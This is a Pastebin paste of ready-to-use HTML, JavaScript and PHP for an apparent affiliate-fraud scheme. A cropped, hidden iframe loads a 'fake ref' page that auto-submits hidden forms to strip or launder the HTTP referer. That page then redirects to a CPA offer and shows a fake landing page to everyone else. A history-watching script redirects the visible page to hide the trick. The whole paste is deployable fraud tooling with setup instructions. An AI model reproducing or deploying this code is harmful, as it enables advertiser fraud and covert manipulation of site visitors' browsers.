Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- this goes in the head tag on the page that contains the iframe:
- <script type='text/javascript'>
- different=1;
- base=1;
- function redirect() {
- window.location = "www.abv.bg";
- }
- function gothere(arg) {
- var different = arg;
- if (different > base) {
- base = different; redirect();
- }
- setTimeout(function(){gothere(history.length)},100)
- }
- </script>
- this goes into the body:
- <div style='overflow: hidden; width: 355px; height: 124px; position: relative;' id='odiv'>
- <iframe id='bframe' onload='base=history.length;gothere(history.length);' name='bframe' src='http://bgblognews.info/testiframe/fakeref.php?n=953' style='border: 0pt none ; left: -440px; top: -228px; position: absolute; width: 1501px; height: 805px;' scrolling='no'></iframe></div>
- this goes on the page that is the fake ref:
- <?
- $cpa_offer_url = 'http://www.whatismyreferer.com/';
- $secret_number = '953';
- //you should not be editing below this line
- if (isset($_GET['n']) && $_GET['n']==$secret_number){
- echo '<html><head></head><body><form action="' . 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'] . '" method="post" id="form1">
- <input type="hidden" name="n" value="' . $secret_number . '" /></form>
- <script language="JavaScript">
- document.getElementById(\'form1\').submit();</script></body></html>';
- return true;
- exit();
- }
- if ($_POST['n']==$secret_number){
- echo '<html><head></head><body><form action="' . 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'] . '" method="post" id="form1">
- <input type="hidden" name="n" value="' . $secret_number . $secret_number . '" /></form>
- <script language="JavaScript">
- document.getElementById(\'form1\').submit();</script></body></html>';
- return true;
- exit();
- }
- $dom = preg_replace( "/^www\./", "", $_SERVER[ 'HTTP_HOST' ] ) ;
- $ref= $_SERVER['HTTP_REFERER'];
- if (((strpos($ref, $dom)!=FALSE) || (trim($ref)=="" ) ) && ($_POST['n']==$secret_number.$secret_number)){
- header( 'Location: ' . $cpa_offer_url);
- exit();
- }
- ?><!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>
- <html xmlns='http://www.w3.org/1999/xhtml'>
- <head>
- <meta http-equiv='Content-Type' content='text/html; charset=utf-8' />
- <title>Fake Landing Page Title Goes Here</title>
- </head>
- <body>
- Fake Content Goes Here
- </body>
- </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement